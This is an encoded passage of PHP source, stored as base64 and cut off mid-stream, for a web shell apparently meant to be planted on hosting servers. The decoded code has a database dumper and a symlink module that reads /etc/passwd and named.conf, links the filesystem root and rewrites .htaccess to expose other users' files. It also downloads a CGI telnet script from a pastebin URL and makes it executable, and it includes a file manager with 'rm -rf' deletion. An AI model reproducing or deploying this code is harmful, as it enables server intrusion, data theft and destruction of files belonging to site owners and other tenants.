dHoiIHR5cGU9dGV4dCBuYW1lPXNlcnZlciBzaXplPTUyPjwvdGQ+PC90cj48dHI+DQoJPHRkPlVzZXJuYW1lPC90ZD4NCgk8dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9dGV4dCBuYW1lPXVzZXJuYW1lIHNpemU9NTI+PC90ZD48L3RyPjx0cj4NCgk8dGQ+UGFzc3dvcmQ8L3RkPg0KCTx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT10ZXh0IG5hbWU9cGFzc3dvcmQgc2l6ZT01Mj48L3RkPjwvdHI+PHRyPg0KCTx0ZD5EYXRhQmFzZSBOYW1lPC90ZD4NCgk8dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9dGV4dCBuYW1lPWRibmFtZSBzaXplPTUyPjwvdGQ+PC90cj4NCgk8dHI+DQoJPHRkPkRCIFR5cGUgPC90ZD4NCgk8dGQ+PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSInLiRtZS4nIj4NCgk8c2VsZWN0IGNsYXNzPSJpbnB1dHoiIG5hbWU9bWV0aG9kPg0KCQk8b3B0aW9uICB2YWx1ZT0iZ3ppcCI+R3ppcDwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSJzcWwiPlNxbDwvb3B0aW9uPg0KCQk8L3NlbGVjdD4NCgk8aW5wdXQgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT1zdWJtaXQgdmFsdWU9IiAgRHVtcCEgICIgPjwvdGQ+PC90cj4NCgk8L2Zvcm0+PC9jZW50ZXI+PC90YWJsZT4nOw0KaWYgKCRfUE9TVFsndXNlcm5hbWUnXSAmJiAkX1BPU1RbJ2RibmFtZSddICYmICRfUE9TVFsnbWV0aG9kJ10pew0KJGRhdGUgPSBkYXRlKCJZLW0tZCIpOw0KJGRic2VydmVyID0gJF9QT1NUWydzZXJ2ZXInXTsNCiRkYnVzZXIgPSAkX1BPU1RbJ3VzZXJuYW1lJ107DQokZGJwYXNzID0gJF9QT1NUWydwYXNzd29yZCddOw0KJGRibmFtZSA9ICRfUE9TVFsnZGJuYW1lJ107DQokZmlsZSA9ICJEdW1wLSRkYm5hbWUtJGRhdGUiOw0KJG1ldGhvZCA9ICRfUE9TVFsnbWV0aG9kJ107DQppZiAoJG1ldGhvZD09J3NxbCcpew0KJGZpbGU9IkR1bXAtJGRibmFtZS0kZGF0ZS5zcWwiOw0KJGZwPWZvcGVuKCRmaWxlLCJ3Iik7DQp9ZWxzZXsNCiRmaWxlPSJEdW1wLSRkYm5hbWUtJGRhdGUuc3FsLmd6IjsNCiRmcCA9IGd6b3BlbigkZmlsZSwidyIpOw0KfQ0KZnVuY3Rpb24gd3JpdGUoJGRhdGEpIHsNCmdsb2JhbCAkZnA7DQppZiAoJF9QT1NUWydtZXRob2QnXT09J3NzcWwnKXsNCmZ3cml0ZSgkZnAsJGRhdGEpOw0KfWVsc2V7DQpnendyaXRlKCRmcCwgJGRhdGEpOw0KfX0NCm15c3FsX2Nvbm5lY3QgKCRkYnNlcnZlciwgJGRidXNlciwgJGRicGFzcyk7DQpteXNxbF9zZWxlY3RfZGIoJGRibmFtZSk7DQokdGFibGVzID0gbXlzcWxfcXVlcnkgKCJTSE9XIFRBQkxFUyIpOw0Kd2hpbGUgKCRpID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHRhYmxlcykpIHsNCiAgICAkaSA9ICRpWydUYWJsZXNfaW5fJy4kZGJuYW1lXTsNCiAgICAkY3JlYXRlID0gbXlzcWxfZmV0Y2hfYXJyYXkobXlzcWxfcXVlcnkgKCJTSE9XIENSRUFURSBUQUJMRSAiLiRpKSk7DQogICAgd3JpdGUoJGNyZWF0ZVsnQ3JlYXRlIFRhYmxlJ10uIjtubiIpOw0KICAgICRzcWwgPSBteXNxbF9xdWVyeSAoIlNFTEVDVCAqIEZST00gIi4kaSk7DQogICAgaWYgKG15c3FsX251bV9yb3dzKCRzcWwpKSB7DQogICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRzcWwpKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkcm93IGFzICRqID0+ICRrKSB7DQogICAgICAgICAgICAgICAgJHJvd1skal0gPSAiJyIubXlzcWxfZXNjYXBlX3N0cmluZygkaykuIiciOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgd3JpdGUoIklOU0VSVCBJTlRPICRpIFZBTFVFUygiLmltcGxvZGUoIiwiLCAkcm93KS4iKTtuIik7DQogICAgICAgIH0NCiAgICB9DQp9DQppZiAoJG1ldGhvZD09J3NzcWwnKXsNCmZjbG9zZSAoJGZwKTsNCn1lbHNlew0KZ3pjbG9zZSgkZnApO30NCmhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IiAuICRmaWxlKTsgICANCmhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9kb3dubG9hZCIpOw0KaGVhZGVyKCJDb250ZW50LUxlbmd0aDogIiAuIGZpbGVzaXplKCRmaWxlKSk7DQpmbHVzaCgpOw0KJGZwID0gZm9wZW4oJGZpbGUsICJyIik7DQp3aGlsZSAoIWZlb2YoJGZwKSkNCnsNCiAgICBlY2hvIGZyZWFkKCRmcCwgNjU1MzYpOw0KICAgIGZsdXNoKCk7DQp9IA0KZmNsb3NlKCRmcCk7IA0KfQ0KfQ0KLy9zeW1saW5rMg0KZWxzZWlmKCRfR0VUWyd2b3RyJ10gPT0gJ3N5bWxpbmsyJykgew0KJGZ1bGwgPSBzdHJfcmVwbGFjZSgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLCAiIiwgJGRpcik7DQokZDBtYWlucyA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsNCiMjaHR0YWNlcw0KaWYoJGQwbWFpbnMpew0KQG1rZGlyKCJ2b3RyX3N5bSIsMDc3Nyk7DQpAY2hkaXIoInZvdHJfc3ltIik7DQpAZXhlKCJsbiAtcyAvIHJvb3QiKTsNCiRmaWxlMyA9ICdPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MNCkRpcmVjdG9yeUluZGV4IHZvdHIuaHRtDQpBZGRUeXBlIHRleHQvcGxhaW4gLnBocA0KQWRkSGFuZGxlciB0ZXh0L3BsYWluIC5waHANClNhdGlzZnkgQW55JzsNCiRmcDMgPSBmb3BlbignLmh0YWNjZXNzJywndycpOw0KJGZ3MyA9IGZ3cml0ZSgkZnAzLCRmaWxlMyk7QGZjbG9zZSgkZnAzKTsNCmVjaG8gIg0KPHRhYmxlIGFsaWduPWNlbnRlciBib3JkZXI9MSBzdHlsZT0nd2lkdGg6NjAlO2JvcmRlci1jb2xvcjojMzMzMzMzOyc+DQo8dHI+DQo8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj5TLiBOby48L2ZvbnQ+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPkRvbWFpbnM8L2ZvbnQ+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPlVzZXJzPC9mb250PjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj5TeW1saW5rPC9mb250PjwvdGQ+DQo8L3RyPiI7DQokZGNvdW50ID0gMTsNCmZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7DQppZihlcmVnaSgiem9uZSIsJGQwbWFpbikpe3ByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGQwbWFpbiwgJGRvbWFpbnMpOw0KZmx1c2goKTsNCmlmKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKXsNCiR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRkb21haW5zWzFdWzBdKSk7DQplY2hvICI8dHIgYWxpZ249Y2VudGVyPjx0ZD48Zm9udCBzaXplPTI+IiAuICRkY291bnQgLiAiPC9mb250PjwvdGQ+DQo8dGQgYWxpZ249bGVmdD48YSBocmVmPWh0dHA6Ly93d3cuIi4kZG9tYWluc1sxXVswXS4iLz48Zm9udCBjbGFzcz10eHQ+Ii4kZG9tYWluc1sxXVswXS4iPC9mb250PjwvYT48L3RkPg0KPHRkPiIuJHVzZXJbJ25hbWUnXS4iPC90ZD4NCjx0ZD48YSBocmVmPSckZnVsbC92b3RyX3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz48Zm9udCBjbGFzcz10eHQ+U3ltbGluazwvZm9udD48L2E+PC90ZD48L3RyPiI7DQpmbHVzaCgpOw0KJGRjb3VudCsrO319fQ0KZWNobyAiPC90YWJsZT4iOw0KfWVsc2V7DQokVEVTVD1AZmlsZSgnL2V0Yy9wYXNzd2QnKTsNCmlmICgkVEVTVCl7DQpAbWtkaXIoInZvdHJfc3ltIiwwNzc3KTsNCkBjaGRpcigidm90cl9zeW0iKTsNCmV4ZSgibG4gLXMgLyByb290Iik7DQokZmlsZTMgPSAnT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCB2b3RyLmh0bQ0KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHANCkFkZEhhbmRsZXIgdGV4dC9wbGFpbiAucGhwDQpTYXRpc2Z5IEFueSc7DQogJGZwMyA9IGZvcGVuKCcuaHRhY2Nlc3MnLCd3Jyk7DQogJGZ3MyA9IGZ3cml0ZSgkZnAzLCRmaWxlMyk7DQogQGZjbG9zZSgkZnAzKTsNCiBlY2hvICINCiA8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xPjx0cj4NCiA8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mz5TLiBOby48L2ZvbnQ+PC90ZD4NCiA8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mz5Vc2VyczwvZm9udD48L3RkPg0KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlN5bWxpbms8L2ZvbnQ+PC90ZD48L3RyPiI7DQogJGRjb3VudCA9IDE7DQogJGZpbGUgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpIG9yIGV4aXQoIlVuYWJsZSB0byBvcGVuIGZpbGUhIik7DQogd2hpbGUoIWZlb2YoJGZpbGUpKXsNCiAkcyA9IGZnZXRzKCRmaWxlKTsNCiAkbWF0Y2hlcyA9IGFycmF5KCk7DQogJHQgPSBwcmVnX21hdGNoKCcvLyguKj8pOi8vcycsICRzLCAkbWF0Y2hlcyk7DQogJG1hdGNoZXMgPSBzdHJfcmVwbGFjZSgiaG9tZS8iLCIiLCRtYXRjaGVzWzFdKTsNCiBpZihzdHJsZW4oJG1hdGNoZXMpID4gMTIgfHwgc3RybGVuKCRtYXRjaGVzKSA9PSAwIHx8ICRtYXRjaGVzID09ICJiaW4iIHx8ICRtYXRjaGVzID09ICJldGMvWDExL2ZzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2xpYi9uZnMiIHx8ICRtYXRjaGVzID09ICJ2YXIvYXJwd2F0Y2giIHx8ICRtYXRjaGVzID09ICJ2YXIvZ29waGVyIiB8fCAkbWF0Y2hlcyA9PSAic2JpbiIgfHwgJG1hdGNoZXMgPT0gInZhci9hZG0iIHx8ICRtYXRjaGVzID09ICJ1c3IvZ2FtZXMiIHx8ICRtYXRjaGVzID09ICJ2YXIvZnRwIiB8fCAkbWF0Y2hlcyA9PSAiZXRjL250cCIgfHwgJG1hdGNoZXMgPT0gInZhci93d3ciIHx8ICRtYXRjaGVzID09ICJ2YXIvbmFtZWQiKQ0KIGNvbnRpbnVlOw0KIGVjaG8gIjx0cj48dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj4iIC4gJGRjb3VudCAuICI8L3RkPg0KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgY2xhc3M9dHh0PiIgLiAkbWF0Y2hlcyAuICI8L3RkPiI7DQogZWNobyAiPHRkIGFsaWduPWNlbnRlcj48Zm9udCBjbGFzcz10eHQ+PGEgaHJlZj0kZnVsbC92b3RyX3N5bS9yb290L2hvbWUvIiAuICRtYXRjaGVzIC4gIi9wdWJsaWNfaHRtbCB0YXJnZXQ9J19ibGFuayc+U3ltbGluazwvYT48L3RkPjwvdHI+IjsNCiAkZGNvdW50Kys7fWZjbG9zZSgkZmlsZSk7DQogZWNobyAiPC90YWJsZT4iO31lbHNle2lmKCRvcyAhPSAiV2luZG93cyIpe0Bta2Rpcigidm90cl9zeW0iLDA3NzcpO0BjaGRpcigidm90cl9zeW0iKTtAZXhlKCJsbiAtcyAvIHJvb3QiKTskZmlsZTMgPSAnDQogT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCB2b3RyLmh0bQ0KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHANCkFkZEhhbmRsZXIgdGV4dC9wbGFpbiAucGhwDQpTYXRpc2Z5IEFueQ0KJzsNCiAkZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsNCiAkZnczID0gZndyaXRlKCRmcDMsJGZpbGUzKTtAZmNsb3NlKCRmcDMpOw0KIGVjaG8gIg0KIDxkaXYgY2xhc3M9J215Ym94Jz48aDIgY2xhc3M9J2sybGwzM2QyJz5zZXJ2ZXIgc3ltbGlua2VyPC9oMj4NCiA8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xPjx0cj4NCiA8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mz5JRDwvZm9udD48L3RkPg0KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlVzZXJzPC9mb250PjwvdGQ+DQogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+U3ltbGluazwvZm9udD48L3RkPjwvdHI+IjsNCiAkdGVtcCA9ICIiOyR2YWwxID0gMDskdmFsMiA9IDEwMDA7DQogZm9yKDskdmFsMSA8PSAkdmFsMjskdmFsMSsrKSB7JHVpZCA9IEBwb3NpeF9nZXRwd3VpZCgkdmFsMSk7DQogaWYgKCR1aWQpJHRlbXAgLj0gam9pbignOicsJHVpZCkuIm4iO30NCiBlY2hvICc8YnIvPic7JHRlbXAgPSB0cmltKCR0ZW1wKTskZmlsZTUgPQ0KIGZvcGVuKCJ0ZXN0LnR4dCIsInciKTsNCiBmcHV0cygkZmlsZTUsJHRlbXApOw0KIGZjbG9zZSgkZmlsZTUpOyRkY291bnQgPSAxOyRmaWxlID0NCiBmb3BlbigidGVzdC50eHQiLCAiciIpIG9yIGV4aXQoIlVuYWJsZSB0byBvcGVuIGZpbGUhIik7DQogd2hpbGUoIWZlb2YoJGZpbGUpKXskcyA9IGZnZXRzKCRmaWxlKTskbWF0Y2hlcyA9IGFycmF5KCk7DQogJHQgPSBwcmVnX21hdGNoKCcvLyguKj8pOi8vcycsICRzLCAkbWF0Y2hlcyk7JG1hdGNoZXMgPSBzdHJfcmVwbGFjZSgiaG9tZS8iLCIiLCRtYXRjaGVzWzFdKTsNCiBpZihzdHJsZW4oJG1hdGNoZXMpID4gMTIgfHwgc3RybGVuKCRtYXRjaGVzKSA9PSAwIHx8ICRtYXRjaGVzID09ICJiaW4iIHx8ICRtYXRjaGVzID09ICJldGMvWDExL2ZzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2xpYi9uZnMiIHx8ICRtYXRjaGVzID09ICJ2YXIvYXJwd2F0Y2giIHx8ICRtYXRjaGVzID09ICJ2YXIvZ29waGVyIiB8fCAkbWF0Y2hlcyA9PSAic2JpbiIgfHwgJG1hdGNoZXMgPT0gInZhci9hZG0iIHx8ICRtYXRjaGVzID09ICJ1c3IvZ2FtZXMiIHx8ICRtYXRjaGVzID09ICJ2YXIvZnRwIiB8fCAkbWF0Y2hlcyA9PSAiZXRjL250cCIgfHwgJG1hdGNoZXMgPT0gInZhci93d3ciIHx8ICRtYXRjaGVzID09ICJ2YXIvbmFtZWQiKQ0KIGNvbnRpbnVlOw0KIGVjaG8gIjx0cj48dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj4iIC4gJGRjb3VudCAuICI8L3RkPg0KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgY2xhc3M9dHh0PiIgLiAkbWF0Y2hlcyAuICI8L3RkPiI7DQogZWNobyAiPHRkIGFsaWduPWNlbnRlcj48Zm9udCBjbGFzcz10eHQ+PGEgaHJlZj0kZnVsbC92b3RyX3N5bS9yb290L2hvbWUvIiAuICRtYXRjaGVzIC4gIi9wdWJsaWNfaHRtbCB0YXJnZXQ9J19ibGFuayc+U3ltbGluazwvYT48L3RkPjwvdHI+IjsNCiAkZGNvdW50Kys7fQ0KIGZjbG9zZSgkZmlsZSk7DQogZWNobyAiPC90YWJsZT48L2Rpdj48L2NlbnRlcj4iO3VubGluaygidGVzdC50eHQiKTsNCiB9IGVsc2UNCiBlY2hvICI8Y2VudGVyPjxmb250IHNpemU9Mz5DYW5ub3QgY3JlYXRlIFN5bWxpbms8L2ZvbnQ+PC9jZW50ZXI+IjsNCiB9DQogfQ0KfQ0KLy9jZ2l0ZWxuZXQNCmVsc2VpZigkX0dFVFsndm90ciddID09ICdjZ2knKSB7DQoJJGNnaV9kaXIgPSBta2Rpcigndm90cl9jZ2knLCAwNzU1KTsNCgkkZmlsZV9jZ2kgPSAidm90cl9jZ2kvY2dpLml6byI7DQoJJGlzaV9odGNnaSA9ICJBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLml6byI7DQoJJGh0Y2dpID0gZm9wZW4oIi5odGFjY2VzcyIsICJ3Iik7DQoJJGNnaV9zY3JpcHQgPSBmaWxlX2dldF9jb250ZW50cygiaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3LzhoS1VGY2txIik7DQoJJGNnaSA9IGZvcGVuKCRmaWxlX2NnaSwgInciKTsNCglmd3JpdGUoJGNnaSwgJGNnaV9zY3JpcHQpOw0KCWZ3cml0ZSgkaHRjZ2ksICRpc2lfaHRjZ2kpOw0KCWNobW9kKCRmaWxlX2NnaSwgMDc1NSk7DQoJZWNobyAiPGlmcmFtZSBzcmM9J3ZvdHJfY2dpL2NnaS5pem8nIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzEwMCUnIGZyYW1lYm9yZGVyPScwJyBzY3JvbGxpbmc9J25vJz48L2lmcmFtZT4iOw0KfSBlbHNlaWYoJF9HRVRbJ2FjdCddID09ICduZXdmaWxlJykgew0KCWlmKCRfUE9TVFsnbmV3X3NhdmVfZmlsZSddKSB7DQoJCSRuZXdmaWxlID0gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ25ld2ZpbGUnXSk7DQoJCSRmb3BlbiA9IGZvcGVuKCRuZXdmaWxlLCAiYSsiKTsNCgkJaWYoJGZvcGVuKSB7DQoJCQkkYWN0ID0gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/YWN0PWVkaXQmZGlyPSIuJGRpci4iJmZpbGU9Ii4kX1BPU1RbJ25ld2ZpbGUnXS4iJzs8L3NjcmlwdD4iOw0KCQl9IGVsc2Ugew0KCQkJJGFjdCA9ICI8Zm9udCBjb2xvcj1yZWQ+cGVybWlzc2lvbiBkZW5pZWQ8L2ZvbnQ+IjsNCgkJfQ0KCX0NCgllY2hvICRhY3Q7DQoJZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0Jz4NCglGaWxlbmFtZTogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J25ld2ZpbGUnIHZhbHVlPSckZGlyL25ld2ZpbGUucGhwJyBzdHlsZT0nd2lkdGg6IDQ1MHB4OycgaGVpZ2h0PScxMCc+DQoJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nbmV3X3NhdmVfZmlsZScgdmFsdWU9J1N1Ym1pdCc+DQoJPC9mb3JtPiI7DQp9IGVsc2VpZigkX0dFVFsnYWN0J10gPT0gJ25ld2ZvbGRlcicpIHsNCglpZigkX1BPU1RbJ25ld19zYXZlX2ZvbGRlciddKSB7DQoJCSRuZXdfZm9sZGVyID0gJGRpci4nLycuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ25ld2ZvbGRlciddKTsNCgkJaWYoIW1rZGlyKCRuZXdfZm9sZGVyKSkgew0KCQkJJGFjdCA9ICI8Zm9udCBjb2xvcj1yZWQ+cGVybWlzc2lvbiBkZW5pZWQ8L2ZvbnQ+IjsNCgkJfSBlbHNlIHsNCgkJCSRhY3QgPSAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9kaXI9Ii4kZGlyLiInOzwvc2NyaXB0PiI7DQoJCX0NCgl9DQoJZWNobyAkYWN0Ow0KCWVjaG8gIjxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJRm9sZGVyIE5hbWU6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSduZXdmb2xkZXInIHN0eWxlPSd3aWR0aDogNDUwcHg7JyBoZWlnaHQ9JzEwJz4NCgk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSduZXdfc2F2ZV9mb2xkZXInIHZhbHVlPSdTdWJtaXQnPg0KCTwvZm9ybT4iOw0KfSBlbHNlaWYoJF9HRVRbJ2FjdCddID09ICdyZW5hbWVfZGlyJykgew0KCWlmKCRfUE9TVFsnZGlyX3JlbmFtZSddKSB7DQoJCSRkaXJfcmVuYW1lID0gcmVuYW1lKCRkaXIsICIiLmRpcm5hbWUoJGRpcikuIi8iLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydmb2xfcmVuYW1lJ10pLiIiKTsNCgkJaWYoJGRpcl9yZW5hbWUpIHsNCgkJCSRhY3QgPSAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9kaXI9Ii5kaXJuYW1lKCRkaXIpLiInOzwvc2NyaXB0PiI7DQoJCX0gZWxzZSB7DQoJCQkkYWN0ID0gIjxmb250IGNvbG9yPXJlZD5wZXJtaXNzaW9uIGRlbmllZDwvZm9udD4iOw0KCQl9DQoJZWNobyAiIi4kYWN0LiI8YnI+IjsNCgl9DQoJZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0Jz4NCgk8aW5wdXQgdHlwZT0ndGV4dCcgdmFsdWU9JyIuYmFzZW5hbWUoJGRpcikuIicgbmFtZT0nZm9sX3JlbmFtZScgc3R5bGU9J3dpZHRoOiA0NTBweDsnIGhlaWdodD0nMTAnPg0KCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2Rpcl9yZW5hbWUnIHZhbHVlPSdyZW5hbWUnPg0KCTwvZm9ybT4iOw0KfSBlbHNlaWYoJF9HRVRbJ2FjdCddID09ICdkZWxldGVfZGlyJykgew0KCWlmKGlzX2RpcigkZGlyKSkgew0KCQlpZihpc193cml0YWJsZSgkZGlyKSkgew0KCQkJQHJtZGlyKCRkaXIpOw0KCQkJQGV4ZSgicm0gLXJmICRkaXIiKTsNCgkJCUBleGUoInJtZGlyIC9zIC9xICRkaXIiKTsNCgkJCSRhY3QgPSAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9kaXI9Ii5kaXJuYW1lKCRkaXIpLiInOzwvc2NyaXB0PiI7DQoJCX0gZWxzZSB7DQoJCQkkYWN0ID0gIjxmb250IGNvbG9yPXJlZD5jb3VsZCBub3QgcmVtb3ZlICIuYmFzZW5hbWUoJGRpcikuIjwvZm9udD4iOw0KCQl9DQoJfQ0KCWVjaG8gJGFjdDsNCn0gZWxzZWlmKCRfR0VUWydhY3QnXSA9PSAndmlldycpIHsNCgllY2hvICJGaWxlbmFtZTogPGZvbnQgY29sb3I9bGltZT4iLmJhc2VuYW1lKCRfR0VUWydmaWxlJ10pLiI8L2ZvbnQ+IFsgPGEgaHJlZj0nP2FjdD12aWV3JmRpcj0kZGlyJmZpbGU9Ii4kX0dFVFsnZmlsZSddLiInPjxiPnZpZXc8L2I+PC9hPiBdIFsgPGEgaHJlZj0nP2FjdD1lZGl0JmRpcj0kZGlyJmZpbGU9Ii4kX0dFVFsnZmlsZSddLiInPmVkaXQ8L2E+IF0gWyA8YSBocmVmPSc/YWN0PXJlbmFtZSZkaXI9JGRpciZmaWxlPSIuJF9HRVRbJ2ZpbGUnXS4iJz5yZW5hbWU8L2E+IF0gWyA8YSBocmVmPSc/YWN0PWRvd25sb2FkJmRpcj0kZGlyJmZpbGU9Ii4kX0dFVFsnZmlsZSddLiInPmRvd25sb2FkPC9hPiBdIFsgPGEgaHJlZj0nP2FjdD1kZWxldGUmZGlyPSRkaXImZmlsZT0iLiRfR0VUWydmaWxlJ10uIic+ZGVsZXRlPC9hPiBdPGJyPiI7DQoJZWNobyAiPHRleHRhcmVhIHJlYWRvbmx5PiIuaHRtbHNwZWNpYWxjaGFycyhAZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ2ZpbGUnXSkpLiI8L3RleHRhcmVhPiI7DQp9IGVsc2VpZigkX0dFVFsnYWN0J10gPT0gJ2VkaXQnKSB7DQoJaWYoJF9QT1NUWydzYXZlJ10pIHsNCgkJJHNhdmUgPSBmaWxlX3B1dF9jb250ZW50cygkX0dFVFsnZmlsZSddLCAkX1BPU1RbJ3NyYyddKTsNCgkJaWYoJHNhdmUpIHsNCgkJCSRhY3QgPSAiPGZvbnQgY29sb3I9bGltZT5TYXZlZCE8L2ZvbnQ+IjsNCgkJfSBlbHNlIHsNCgkJCSRhY3QgPSAiPGZvbnQgY29sb3I9cmVkPnBlcm1pc3Npb24gZGVuaWVkPC9mb250PiI7DQoJCX0NCgllY2hvICIiLiRhY3QuIjxicj4iOw0KCX0NCgllY2hvICJGaWxlbmFtZTogPGZvbnQgY29sb3I9bGltZT4iLmJhc2VuYW1lKCRfR0VUWydmaWxlJ10pLiI8L2ZvbnQ+IFsgPGEgaHJlZj0nP2FjdD12aWV3JmRpcj0kZGlyJmZpbGU9Ii4kX0dFVFsnZmlsZSddLiInPnZpZXc8L2E+IF0gWyA8YSBocmVmPSc/YWN0PWVkaXQmZGlyPSRkaXImZmlsZT0iLiRfR0VUWydmaWxlJ10uIic+PGI+ZWRpdDwvYj48L2E+IF0gWyA8YSBocmVmPSc/YWN0PXJlbmFtZSZkaXI9JGRpciZmaWxlPSIuJF9HRVRbJ2ZpbGUnXS4iJz5yZW5hbWU8L2E+IF0gWyA8YSBocmVmPSc/YWN0PWRvd25sb2FkJmRpcj0kZGlyJmZpbGU9Ii4kX0dFVFsnZmlsZSddLiInPmRvd25sb2FkPC9hPiBdIFsgPGEgaHJlZj0nP2FjdD1kZWxldGUmZGlyPSRkaXImZmlsZT0iLiRfR0VUWydmaWxlJ10uIic+ZGVsZXRlPC9hPiBdPGJyPiI7DQoJZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0Jz4NCgk8dGV4dGFyZWEgbmFtZT0nc3JjJz4iLmh0bWxzcGVjaWFsY2hhcnMoQGZpbGVfZ2V0X2NvbnRlbnRzKCRfR0VUWydmaWxlJ10pKS4iPC90ZXh0YXJlYT48YnI+DQoJPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J1NhdmUnIG5hbWU9J3NhdmUnIHN0eWxlPSd3aWR0aDogNTAwcHg7Jz4NCgk8L2Zvcm0+IjsNCn0gZWxzZWlmKCRfR0VUWydhY3QnXSA9PSAncmVuYW1lJykgew0KCWlmKCRfUE9TVFsnZG9fcmVuYW1lJ10pIHsNCgkJJHJlbmFtZSA9IHJlbmFtZSgkX0dFVFsnZmlsZSddLCAiJGRpci8iLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydyZW5hbWUnXSkuIiIpOw0KCQlpZigkcmVuYW1lKSB7DQoJCQkkYWN0ID0gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/ZGlyPSIuJGRpci4iJzs8L3NjcmlwdD4iOw0KCQl9IGVsc2Ugew0KCQkJJGFjdCA9ICI8Zm9udCBjb2xvcj1yZWQ+cGVybWlzc2lvbiBkZW5pZWQ8L2ZvbnQ+IjsNCgkJfQ0KCWVjaG8gIiIuJGFjdC4iPGJyPiI7DQoJfQ0KCWVjaG8gIkZpbGVuYW1lOiA8Zm9udCBjb2xvcj1saW1lPiIuYmFzZW5hbWUoJF9HRVRbJ2ZpbGUnXSkuIjwvZm9udD4gWyA8YSBocmVmPSc/YWN0PXZpZXcmZGlyPSRkaXImZmlsZT0iLiRfR0VUWydmaWxlJ10uIic+dmlldzwvYT4gXSBbIDxhIGhyZWY9Jz9hY3Q9ZWRpdCZkaXI9JGRpciZmaWxlPSIuJF9HRVRbJ2ZpbGUnXS4iJz5lZGl0PC9hPiBdIFsgPGEgaHJlZj0nP2FjdD1yZW5hbWUmZGlyPSRkaXImZmlsZT0iLiRfR0VUWydmaWxlJ10uIic+PGI+cmVuYW1lPC9iPjwvYT4gXSBbIDxhIGhyZWY9Jz9hY3Q9ZG93bmxvYWQmZGlyPSRkaXImZmlsZT0iLiRfR0VUWydmaWxlJ10uIic+ZG93bmxvYWQ8L2E+IF0gWyA8YSBocmVmPSc/YWN0PWRlbGV0ZSZkaXI9JGRpciZmaWxlPSIuJF9HRVRbJ2ZpbGUnXS4iJz5kZWxldGU8L2E+IF08YnI+IjsNCgllY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCTxpbnB1dCB0eXBlPSd0ZXh0JyB2YWx1ZT0nIi5iYXNlbmFtZSgkX0dFVFsnZmlsZSd